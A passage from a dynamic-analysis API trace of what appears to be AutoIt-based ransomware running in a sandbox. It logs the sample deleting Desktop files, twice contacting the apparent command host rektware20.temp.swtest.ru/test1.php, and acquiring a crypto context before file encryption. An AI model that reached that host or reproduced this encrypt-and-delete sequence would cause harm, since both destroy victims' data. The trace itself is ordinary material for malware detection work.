lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0078.887] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0078.887] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0078.887] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0078.887] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164dfb0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0078.887] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0078.887] CryptReleaseContext (hProv=0x1631bb0, dwFlags=0x0) returned 1 [0078.887] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.887] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0078.887] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0078.887] FreeLibrary (hLibModule=0x74c60000) returned 1 [0078.887] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.887] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.887] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.887] CloseHandle (hObject=0x3c8) returned 1 [0078.891] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.891] CloseHandle (hObject=0x3d8) returned 1 [0078.894] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.897] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0078.897] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\_PTR1-1QI.pptx", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\_PTR1-1QI.pptx", lpFilePart=0x0) returned 0x2c [0078.897] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\_PTR1-1QI.pptx" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\_ptr1-1qi.pptx")) returned 0x20 [0078.897] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\_PTR1-1QI.pptx", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c630 [0078.898] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\_PTR1-1QI.pptx" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\_ptr1-1qi.pptx")) returned 1 [0078.997] FindNextFileW (in: hFindFile=0x164c630, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0078.997] FindClose (in: hFindFile=0x164c630 | out: hFindFile=0x164c630) returned 1 [0078.997] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0078.997] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0078.997] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0078.997] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0078.997] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\3O-75MsBC7F.jpg", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164d130 [0078.997] FindClose (in: hFindFile=0x164d130 | out: hFindFile=0x164d130) returned 1 [0079.185] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0079.185] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0079.185] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0079.185] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0079.185] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0079.186] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620e38, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620e38, lpdwBufferLength=0x130ef8c) returned 1 [0079.186] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0079.186] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0079.186] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0079.186] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0079.187] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0079.187] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0079.187] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629310, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629310*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0079.187] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629170, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629170*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0079.187] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0079.187] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0079.187] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0079.187] CloseHandle (hObject=0x0) returned 0 [0079.187] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\3O-75MsBC7F.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.187] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\3O-75MsBC7F.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.187] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\3O-75MsBC7F.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.187] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\3O-75MsBC7F.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.187] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Desktop\\dXz6\\3O-75MsBC7F.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.187] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Desktop\\dXz6\\3O-75MsBC7F.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.187] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Desktop\\dXz6\\3O-75MsBC7F.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.187] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Desktop\\dXz6\\3O-75MsBC7F.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.187] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Desktop\\dXz6\\3O-75MsBC7F.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.187] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Desktop\\dXz6\\3O-75MsBC7F.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.187] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Desktop\\dXz6\\3O-75MsBC7F.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.187] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Desktop\\dXz6\\3O-75MsBC7F.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.187] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Desktop\\dXz6\\3O-75MsBC7F.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.187] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Desktop\\dXz6\\3O-75MsBC7F.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.187] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Desktop\\dXz6\\3O-75MsBC7F.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.187] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Desktop\\dXz6\\3O-75MsBC7F.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.187] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Desktop\\dXz6\\3O-75MsBC7F.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.188] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Desktop\\dXz6\\3O-75MsBC7F.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.188] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Desktop\\dXz6\\3O-75MsBC7F.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.188] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Desktop\\dXz6\\3O-75MsBC7F.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.188] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Desktop\\dXz6\\3O-75MsBC7F.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.188] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Desktop\\dXz6\\3O-75MsBC7F.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.188] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Desktop\\dXz6\\3O-75MsBC7F.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.188] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="esktop\\dXz6\\3O-75MsBC7F.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.188] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sktop\\dXz6\\3O-75MsBC7F.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.188] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ktop\\dXz6\\3O-75MsBC7F.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.188] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="top\\dXz6\\3O-75MsBC7F.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.188] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="op\\dXz6\\3O-75MsBC7F.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.188] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="p\\dXz6\\3O-75MsBC7F.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.188] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\dXz6\\3O-75MsBC7F.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.188] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="dXz6\\3O-75MsBC7F.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.188] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Xz6\\3O-75MsBC7F.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.188] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="z6\\3O-75MsBC7F.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.188] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6\\3O-75MsBC7F.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.188] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\3O-75MsBC7F.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.188] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="3O-75MsBC7F.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.188] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="O-75MsBC7F.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.188] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="-75MsBC7F.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.188] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="75MsBC7F.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.188] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="5MsBC7F.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.188] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="MsBC7F.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.188] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sBC7F.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.188] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BC7F.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.188] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C7F.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.188] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="7F.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.188] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="F.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.188] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0079.188] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.188] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0079.188] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0079.188] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0079.188] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0079.188] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0079.188] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0079.188] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0079.188] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0079.189] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620d78, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620d78, lpdwBufferLength=0x130ee1c) returned 1 [0079.189] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0079.189] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0079.189] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0079.189] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0079.189] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0079.189] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0079.189] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629190, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629190*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0079.189] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629510, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629510*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0079.189] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0079.189] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0079.189] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0079.189] CloseHandle (hObject=0x0) returned 0 [0079.189] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.190] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\3O-75MsBC7F.jpg", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164d170 [0079.190] FindClose (in: hFindFile=0x164d170 | out: hFindFile=0x164d170) returned 1 [0079.190] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.190] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0079.190] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0079.190] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0079.190] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0079.190] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0079.190] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0079.190] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0079.190] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0079.190] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0079.190] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0079.190] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0079.190] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0079.190] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0079.190] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0079.190] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0079.191] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0079.191] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0079.191] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164e1b0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0079.191] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0079.191] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0079.191] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164e290, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0079.191] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0079.191] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x16323a8) returned 1 [0079.191] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0079.191] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0079.192] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0079.192] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0079.192] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0079.192] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0079.192] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0079.192] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0079.192] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0079.192] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0079.192] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0079.192] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0079.192] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.192] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: 